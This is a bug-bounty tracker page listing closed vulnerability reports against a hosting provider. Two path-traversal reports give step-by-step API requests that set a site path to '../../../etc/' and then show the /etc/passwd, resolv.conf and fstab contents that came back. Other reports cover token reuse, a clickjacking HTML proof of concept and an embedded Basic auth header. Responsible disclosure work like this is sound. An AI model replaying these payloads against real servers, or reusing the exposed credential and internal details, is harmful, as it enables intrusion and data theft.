FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.

Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.

The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).

 130  Penetration Testing Summary Report Closed24.02.2025 Task Description

Target IP: 185.31.40.185Date: February 24, 2025Tester: Ziad Ali

1. Summary of Findings

The penetration test conducted on the target system revealed multiple vulnerabilities across different services, with a focus on Avahi, Exim, and MariaDB. Below is a high-level summary:

Avahi mDNS (CVE-2011-1002) – DoS Vulnerability Detected

Exim Mail Server (Version 4.92) – Multiple Exploits Available

MariaDB (Version 10.4.33) – Critical Privilege Escalation and RCE Vulnerabilities

2. Detailed Findings

2.1 Avahi mDNS (CVE-2011-1002)

Service: Avahi (Multicast DNS, UDP 5353)

Impact: Remote attackers can send NULL UDP packets to disrupt network service.

Proof of Concept:

The system responded to a NULL UDP packet sent to 224.0.0.251, indicating potential for exploitation.

Remediation:

Disable Avahi if not needed (systemctl stop avahi-daemon).

Update Avahi to the latest patched version.

Restrict multicast traffic using firewall rules (iptables -A INPUT -s 224.0.0.251 -j DROP).

2.2 Exim SMTP Server (Version 4.92)

Service: Exim SMTP (TCP 465)

Impact: Multiple privilege escalation and RCE vulnerabilities detected.

Vulnerabilities:

CVE-2019-16928 (Heap Overflow, RCE) – CVSS Score: 9.8

CVE-2019-15846 (Remote Code Execution) – CVSS Score: 9.8

Exploit Available: Metasploit modules exist for these exploits.

Remediation:

Upgrade Exim to the latest stable version.

Implement security best practices such as restricting access to SMTP services.

2.3 MariaDB Server (Version 10.4.33)

Service: MariaDB (TCP 3306)

Impact: Critical privilege escalation and remote code execution vulnerabilities.

Vulnerabilities:

CVE-2012-2750 (Authentication Bypass) – CVSS Score: 10.0

CVE-2016-9843 (Arbitrary Code Execution) – CVSS Score: 9.8

Exploit Available: Public exploits exist for privilege escalation.

Remediation:

Upgrade MariaDB to the latest stable version.

Restrict database access using firewall rules.

Implement strong authentication mechanisms.

3. Conclusion & Recommendations

The target system has multiple critical vulnerabilities that could lead to unauthorized access, privilege escalation, and denial-of-service attacks. The following actions should be prioritized:

Immediate Patch Deployment: Update Exim and MariaDB to secure versions.

Disable or Secure Avahi Service: Unless required, disable Avahi or limit its exposure.

Firewall Hardening: Restrict access to SMTP, IMAP, and database services.

Security Monitoring: Implement IDS/IPS solutions to detect exploit attempts.

Severity Assessment: Critical – Immediate action is recommended to mitigate risks.

 409  Path Traversal in site path field leads to arbitrary fi ...Closed15.07.2026 Task Description

TITLE: Path Traversal in Site Management `path` field allows reading arbitrary

     system files via DocumentRoot manipulation

SEVERITY: HIGH (CVSS 3.1: 7.7)

SUMMARY

The `path` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary directory traversal sequences (e.g., `../../../../`) with NO
canonicalization or validation. This allows an authenticated attacker to set the
Apache DocumentRoot to any directory on the filesystem, enabling read access to
ANY world-readable file on the server via HTTP GET requests.

Since the `path` change takes effect WITHOUT a server restart, the attacker can
immediately read files by accessing the site's URL after updating the path.

This also enables cross-tenant data access — any file on the server that is
world-readable (including files in shared /tmp, system configuration files, and
potentially other users' data with loose permissions) can be retrieved.

STEPS TO REPRODUCE

Prerequisites:
- A valid alwaysdata API token with account access
- An existing site (site_id known)

Step 1: Get the current site configuration to confirm baseline

Request:

GET /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Accept: application/json

Response: 200 OK

{
  "id": 1060051,
  "path": "www/",
  "addresses": ["victim.alwaysdata.net/"],
  ...
}

Step 2: PATCH the site with a path traversal payload

Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"../../../../"}

Response: 204 No Content

The `path` "../../../../" resolves from /home/{account}/www/ to the
filesystem root (/), setting DocumentRoot to /.

Step 3: Access a system file via the site URL

Request:

GET /etc/passwd HTTP/1.1
Host: victim.alwaysdata.net
Accept: */*

Response: 200 OK

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (full /etc/passwd contents returned)

The file /etc/passwd was served as a static file through Apache with no
authentication or access control applied.

Step 4: Confirm the change is immediate (no restart required)

No server restart or reload was required. The path change is reflected in the
next HTTP request, confirming that the DocumentRoot is dynamically regenerated.

Step 5: Restore original path


Request:

PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"path":"www/"}

Response: 204 No Content

EVIDENCE

Evidence 1: API acceptance of path traversal payload

PATCH request with path "../../../../" returned 204 No Content, confirming
the value was accepted without any canonicalization or rejection.

Evidence 2: Successful read of /etc/passwd via web

HTTP GET /etc/passwd returned 200 OK with the full contents of the system
password file (1764 bytes), including all 35 system users:
- root, daemon, bin, sys, sync, games, man, mail, news, uucp
- proxy, www-data, backup, list, irc, _apt, nobody
- systemd-network, messagebus, sshd, munin, and more

Evidence 3: No restart required

The path change was reflected immediately in the very next HTTP request,
with no restart or reload needed.

IMPACT

An attacker with API access (valid account credentials) can:

1. Read ANY world-readable file on the server, including:

  1. System configuration files (/etc/passwd, /etc/shadow if readable)
  2. Application configuration files
  3. Database credentials in config files
  4. Other users' files with loose permissions
  5. SSL/TLS certificates and private keys
  6. Source code deployed on the server

2. Access files in /tmp/ that belong to other users on the same server

 (cross-tenant data leakage).

3. Map the internal server structure, enumerate users, and find sensitive

 information for further attacks.

4. The attack requires no user interaction and no unusual preconditions

 beyond valid API credentials.

This vulnerability can be combined with other site management weaknesses
(such as unrestricted php_ini directive injection) for code execution,
amplifying the impact to full server compromise

CVSS 3.1 SCORE

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Base Score: 7.7 (HIGH)

Attack Vector: Network (AV:N) - Exploitable remotely
Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Changed (S:C) - Reads files outside account boundary
Confidentiality: High (C:H) - System files accessible
Integrity: None (I:N) - Read-only
Availability: None (A:N) - No DoS impact

REMEDIATION RECOMMENDATION

1. Canonicalize the `path` input and verify it resolves to a path WITHIN the

 account's allowed directory (e.g., /home/{account}/).

2. Reject any path that contains directory traversal sequences (../ or ..\)

 or resolves outside the allowed base directory.

3. Apply allowlist validation: only allow known-safe subdirectory names

 (e.g., "www/", "public/", "htdocs/") rather than accepting arbitrary paths.

4. Implement server-side path normalization using realpath() or equivalent

 to resolve symlinks and traversal sequences before accepting the path.
 392  Path Traversal in Site `path` Field Allows Reading Arbi ...Closed13.07.2026 Task Description

## Summary

The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` — exposing system users, internal DNS infrastructure, storage architecture, and database configuration.

This is completely independent from the `vhost_additional_directives` issue (  FS#347  ). Different field, different root cause, different fix.

## Severity

High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Set the site path to a traversal sequence

Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw==
Content-Type: application/json

{

"path": "../../../etc/"
}
```

Response: `204 No Content` — accepted without validation.

### Step 2 — Read /etc/passwd (system users)

After ~10 seconds (Apache vhost reload):

```http
GET /passwd HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Content-Length: 1764
Server: Apache
Via: 1.1 alproxy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 lines total]
```

Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).

### Step 3 — Read /etc/hostname (internal hostname)

```http
GET /hostname HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
http21
```

Impact: Reveals internal server hostname `http21` — useful for targeting specific infrastructure.

### Step 4 — Read /etc/resolv.conf (internal DNS infrastructure)

```http
GET /resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net

# Although we have multiple fail-over DNS servers (using dnsdist),
# in case everything fails, it's better to return a DNS error
# (rather) quickly than to try again for a long time.

options timeout:2
options attempts:1

# dnsdist
nameserver ::1

# In case dnsdist is not running, provide default DNS servers.
# Only 2 servers, to avoid taking too long to timeout if everything
# is down.
# Pick one internal server, and one external, in case our internal
# server is down.
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```

Impact: Exposes:
- Internal domain: `paris1.alwaysdata.com` (datacenter location naming)
- Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6)
- DNS architecture: dnsdist with failover strategy
- Infrastructure comments revealing operational decision-making

### Step 5 — Read /etc/fstab (storage architecture)

```http
GET /fstab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```

Impact: Exposes:
- `/home` is XFS on network-attached storage (`_netdev`) — NAS/SAN architecture
- Group quotas enabled (`grpquota`) — quota enforcement mechanism
- `hidepid=2` on `/proc` — security hardening measure (but bypassed by this LFI)
- Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening

### Step 6 — Read /etc/os-release (OS identification)

```http
GET /os-release HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
```

### Step 7 — Read /etc/mysql/my.cnf (database configuration)

```http
GET /mysql/my.cnf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
[client-server]
# port = 3306
socket = /run/mysqld/mysqld.sock

!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
```

Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.

### Step 8 — Read /etc/crontab (scheduled system tasks)

```http
GET /crontab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.monthly; }
```

### Step 9 — Files that returned 403 (correctly restricted)

File Response Notes
—— ———- ——-
`/etc/shadow` 403 Forbidden Password hashes — not readable by `www-data`
`/etc/ssh/sshd_config` 403 Forbidden SSH config — restricted
`/var/log/dpkg.log` 403 Forbidden Package install log — restricted
### Step 10 — Restore the path

Path immediately restored to `www/` after evidence gathering.

## Summary of Exposed Data

File Data Exposed Severity Impact
—— ————- —————-
`/etc/passwd` 34 system accounts, service architecture Infrastructure mapping
`/etc/hostname` Internal hostname `http21` Server identification
`/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure
`/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture
`/etc/os-release` Debian 12 bookworm OS fingerprint
`/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure
`/etc/crontab` System cron schedule, PATH Scheduled task mapping
## Root Cause

The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.

The backend does not:
- Normalize the path (resolve `..` sequences)
- Reject paths containing `..`
- Verify the resulting absolute path stays within `/home/{account}/`
- Reject absolute paths (`"path": "/etc/"` was also accepted)

## Why This Is a Separate Bug from  FS#347 

Aspect  FS#347  (vhost_additional_directives) This bug (path field)
——– ————————————– ———————-
API field `vhost_additional_directives` `path`
Mechanism Apache `Alias` directive injection Document root traversal
Fix scope Directive validation/allowlist Path normalization
Independence Fixing `path` does not fix  FS#347  Fixing directives does not fix this
Complexity Requires Apache directive syntax knowledge Single field change — `../../../etc/`
## Impact

An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:

1. Core platform architecture — internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures
2. Service inventory — dnsdist, munin, MariaDB, OpenSSH versions and configurations
3. Internal network — datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address
4. Database config — MariaDB socket paths and configuration directory structure

This maps directly to the bounty program's High tier: "Accessing customer data/information."

## Suggested Fix

1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected
2. Reject absolute paths: Paths starting with `/` should be rejected
3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/`
4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary

Thanks

 433  Password Reset Tokens Not Invalidated After Password Ch ...Closed07.08.2026 Task Description

The admin panel password reset at admin.alwaysdata.com issues tokens with a 3-day validity window. When a user triggers multiple resets, using one token to change the password does not invalidate the others. An older sibling token remains fully functional and can overwrite the new password at any point within its 3-day lifetime, giving an attacker persistent account takeover that the victim cannot revoke.

Vulnerable endpoint: https://admin.alwaysdata.com/user/reset_password/ Token generation: https://admin.alwaysdata.com/password/lost/

ROOT CAUSE

Token validation does not include the current password hash. Django's default PasswordResetTokenGenerator binds tokens to the password hash, so any credential change voids all outstanding tokens. The custom implementation here validates only user_id, timestamp, and expiration. A consumed token correctly shows "invalid" on revisit (per-token single-use works), but unconsumed sibling tokens remain valid after a password change through a different token.

REPRODUCTION

Tested 2026-08-07, Chrome on Windows 11, production admin.alwaysdata.com. One test account owned by me.

1. Triggered two password resets for the same account within 6 seconds. Received Token A (timestamp 1786058809) and Token B (timestamp 1786058815).

2. Opened Token B. Reset form displayed. Set password to "TokenBProof_2026!" and submitted. Server returned 302 to /login/ (password changed).

 [Screenshot 1: Token B form with password visible]
 [Screenshot 2: redirect to /login/]

3. Opened Token A (issued before the password change). Reset form still displayed. Set password to "TokenAProof_ATO!" and submitted. Server returned 302 to /login/.

 [Screenshot 3: Token A form still active after password was already changed]
 [Screenshot 4: redirect to /login/]

4. On the login page, entered email + "TokenAProof_ATO!" and submitted. Server showed 2FA prompt ("You have enabled two-factor authentication, so please enter your security code"), confirming the stale token's password is now the active credential.

 [Screenshot 5: login form with credentials]
 [Screenshot 6: 2FA prompt]

Expected: Token A should show "invalid link" after the password was changed via Token B.
Actual: Token A remains functional and overwrites the new password.

IMPACT

An attacker who gains temporary access to a victim's email (phishing, shared workstation, corporate mail breach) can save one reset link. Even if the victim notices and resets their own password, the attacker's saved link remains valid for up to 3 days. Using it overwrites whatever password the victim set, completing account takeover.

On alwaysdata, this exposes: web hosting management, SSH access, databases, mailboxes, domain/DNS configuration, API tokens, and billing.

All testing was performed against my own accounts only. A standalone PoC script (poc.py) is attached.

SUGGESTED FIX

Include the password hash in token validation by switching to Django's built-in PasswordResetTokenGenerator. Alternatively, store a per-user token nonce and increment it on every password change, rejecting tokens with stale nonce values. Reducing the token lifetime from 3 days to 1 hour would also limit the exploitation window.

 97  Password Reset Email Flooding (No Rate Limiting) Closed12.11.2024 Task Description

__**Observation:**__

During testing of the web application, I found that the "Forgot Password" functionality
lacks proper rate-limiting. After entering my email address to reset my password multiple
times in quick succession (more than 61 times with intervals of 30-40 Seconds), the
system sent all the reset emails without any restriction. The application does not
implement a time-based threshold (e.g., 10 or 20 minutes) between password reset
requests, which makes it vulnerable to abuse

====Risk:==== Medium / (Sometimes or in some scenario/cases it will be High

====Impact:====

• mail Flooding: An attacker could repeatedly request password reset emails for any user account, causing their inbox to be flooded with reset emails. This can lead to denial of service for the victim by cluttering their inbox or, in some cases, may trigger email provider throttling, preventing legitimate emails from reaching the user.
• Account Lockout Exploit: Although this vulnerability does not directly lead to unauthorized access, it could be combined with social engineering attacks, where victims are confused by multiple reset emails, potentially tricking them into taking malicious actions.

__**Recommendation:**__

•Implement Rate Limiting: Add a limit on how many passwords reset requests can be sent within a specific time frame (e.g., 3 attempts per hour).

•Time-based Delay: Enforce a minimum time interval (e.g., 10-20 minutes) between consecutive password reset requests for the same email address.

•CAPTCHA Implementation: Add CAPTCHA to the password reset functionality to prevent automated abuse by bots.

•Alert Mechanism: Notify users if multiple password reset requests are made in a short period to alert them to potential malicious activity.

•Logging & Monitoring: Implement logging to monitor multiple reset attempts and detect any abuse patterns, which can trigger additional security measures.

 356   Outdated Exim SMTP Server (Version 4.96) Potentially A ...Closed02.07.2026 Task Description

Dear Alwaysdata Security Team, I hope you are doing well. I am writing to responsibly disclose a security observation identified during an assessment of your publicly accessible SMTP infrastructure. Summary During testing, multiple public-facing SMTP servers were identified exposing an Exim 4.96 SMTP banner. Based on the detected version and publicly available Exim security advisories, the affected systems may be impacted by multiple known vulnerabilities ranging from Remote Code Execution (RCE) and Privilege Escalation to Information Disclosure, SMTP Smuggling, and Denial of Service (DoS). Affected Assets IP Address Hostname Service 185.31.40.80 smtpin1.paris1.alwaysdata.com SMTP (Exim 4.96) 78.142.219.80 smtpin1.paris2.alwaysdata.com SMTP (Exim 4.96) 78.142.219.5 overlord-core.paris2.alwaysdata.com TLS Service Evidence Asset 1 IP Address: 185.31.40.80 Hostname: smtpin1.paris1.alwaysdata.com SMTP Banner 220 smtpin1.paris1.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME Asset 2 IP Address: 78.142.219.80 Hostname: smtpin1.paris2.alwaysdata.com SMTP Banner 220 smtpin1.paris2.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME

Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:

Upgrade Exim to the latest supported stable release.
Apply all vendor security patches.
Verify that the SMTP servers are no longer exposing outdated Exim versions.
Review enabled authentication mechanisms and optional Exim modules.
Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated.
Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher

 46  Open Redirection Vulnerability Closed13.04.2024 Task Description

Hi Team,

I hope this email finds you well.
I am Ali Haider, a security researcher and a penetration tester. I have been a bug bounty hunter for almost 2 years now. I always enjoyed the challenge of finding vulnerabilities, as it always felt like a great achievement to find them. I wanted to bring to your attention a Open Redirection Vulnerability I encountered while using your website.

 252  open redirection Closed03.12.2025 Task Description

vulnerability name : open redirection

url: https://admin.alwaysdata.com/login/?next=%2f

step to reproduced:
1.intercept the url
2.enter bing.com in the parameter
3. on location you see that response will shown on location bing.com

for furthur info please see the screenshot

Thank you
Anant

 105  open redirect  Closed25.11.2024 Task Description

https://example.com

 60  On-click Delete any invitation in [admin.alwaysdata.com ...Closed30.07.2024 Task Description

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

 350  OAuth State Cookie Unbounded Growth (Authentication DoS ...Closed02.07.2026
 238  no rate limit vulnerability means service lacks control ...Closed17.11.2025
 241  no rate limit vulnerability Closed26.11.2025
 253  [No Rate Limit] Unlimited password-reset requests on ht ...Closed04.12.2025
 12  No rate limit on Submit tickets Closed15.01.2024
 40   No Rate Limit On Reset Password in admin.alwaysdata.co ...Closed27.03.2024
 91  No Rate Limit on account deletion request Closed31.10.2024
 119  Non-functional 2FA recovery codes Closed30.12.2024
 188  # No limit in email length may result in a possible DOS ...Closed03.07.2025
 178  No email verification required when we change email fro ...Closed09.06.2025
 79  Nginx version leaking Information Disclosure Closed23.09.2024
 51  Multiple Free Public Cloud accounts obtained by a singl ...Closed25.04.2024
 309  Missing Rate Limiting & Lack of Access Control on /perm ...Closed18.03.2026
 111  Missing rate limit for current password field (Password ...Closed27.11.2024
 58  Missing Invitation Link for Existing Users Closed12.07.2024
 446  Missing Authorization Check Allows Unauthenticated Acce ...Closed19.08.2026
 328  Marketplace App OAuth Install-Time Scope Escalation via ...Closed27.04.2026
 147  Marked as SPAM by Filters - Email from security@alwaysd ...Closed04.04.2025
 164  Loss of Account Privileges Due to Exploitation of Acade ...Closed06.05.2025
 93  Logout CSRF Closed06.11.2024
 342  Login rate limit bypass enables unlimited credential st ...Closed01.06.2026
 239  Logical Flaw Allowing Full Domain Takeover via Pending  ...Closed30.03.2026
 135  local software files disclosure Closed05.03.2025
 395  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
 403  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026
Showing tasks 151 - 200 of 390 Page 4 of 8

Available keyboard shortcuts

Tasklist

Task Details

Task Editing